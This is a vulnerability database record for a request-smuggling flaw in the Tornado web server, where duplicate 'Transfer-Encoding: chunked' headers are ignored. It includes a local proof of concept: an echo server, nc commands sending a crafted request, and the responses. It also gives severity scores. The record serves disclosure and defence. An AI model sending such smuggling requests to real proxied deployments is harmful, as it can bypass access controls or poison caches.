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| Vulnerability ID | VCID-e25f-6gkj-vfgw |
| Aliases |
GHSA-753j-mpmx-qq6g
|
| Summary | Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') in tornado ### Summary When Tornado receives a request with two `Transfer-Encoding: chunked` headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. [Pound](https://en.wikipedia.org/wiki/Pound_(networking)) does this. ### PoC 0. Install Tornado. 1. Start a simple Tornado server that echoes each received request's body: ```bash cat << EOF > server.py import asyncio import tornado class MainHandler(tornado.web.RequestHandler): def post(self): self.write(self.request.body) async def main(): tornado.web.Application([(r"/", MainHandler)]).listen(8000) await asyncio.Event().wait() asyncio.run(main()) EOF python3 server.py & ``` 2. Send a valid chunked request: ```bash printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000 ``` 3. Observe that the response is as expected: ``` HTTP/1.1 200 OK Server: TornadoServer/6.3.3 Content-Type: text/html; charset=UTF-8 Date: Sat, 07 Oct 2023 17:32:05 GMT Content-Length: 1 Z ``` 4. Send a request with two `Transfer-Encoding: chunked` headers: ``` printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000 ``` 5. Observe the strange response: ``` HTTP/1.1 200 OK Server: TornadoServer/6.3.3 Content-Type: text/html; charset=UTF-8 Date: Sat, 07 Oct 2023 17:35:40 GMT Content-Length: 0 HTTP/1.1 400 Bad Request ``` This is because Tornado believes that the request has no message body, so it tries to interpret `1\r\nZ\r\n0\r\n\r\n` as its own request, which causes a 400 response. With a little cleverness involving `chunk-ext`s, you can get Tornado to instead respond 405, which has the potential to desynchronize the connection, as opposed to 400 which should always result in a connection closure. ### Impact Anyone using Tornado behind a proxy that forwards requests containing multiple `Transfer-Encoding: chunked` headers is vulnerable to request smuggling, which may entail ACL bypass, cache poisoning, or connection desynchronization. |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 6.2 |
| Risk | 3.1 |
| Affected and Fixed Packages | Package Details |
| System | Score | Found at |
|---|---|---|
| cvssv3.1_qr | MODERATE | https://github.com/advisories/GHSA-753j-mpmx-qq6g |
| cvssv3.1 | 5.3 | https://github.com/tornadoweb/tornado |
| generic_textual | MODERATE | https://github.com/tornadoweb/tornado |
| cvssv3.1 | 5.3 | https://github.com/tornadoweb/tornado/commit/d65f6e71a77f53a1ff0a0dc55704be13f04eb572 |
| generic_textual | MODERATE | https://github.com/tornadoweb/tornado/commit/d65f6e71a77f53a1ff0a0dc55704be13f04eb572 |
| cvssv3.1 | 5.3 | https://github.com/tornadoweb/tornado/security/advisories/GHSA-753j-mpmx-qq6g |
| cvssv3.1_qr | MODERATE | https://github.com/tornadoweb/tornado/security/advisories/GHSA-753j-mpmx-qq6g |
| generic_textual | MODERATE | https://github.com/tornadoweb/tornado/security/advisories/GHSA-753j-mpmx-qq6g |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
No EPSS data available for this vulnerability.
| Date | Actor | Action | Source | VulnerableCode Version |
|---|---|---|---|---|
| 2026-04-01T12:51:39.835188+00:00 | GithubOSV Importer | Import | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/06/GHSA-753j-mpmx-qq6g/GHSA-753j-mpmx-qq6g.json | 38.0.0 |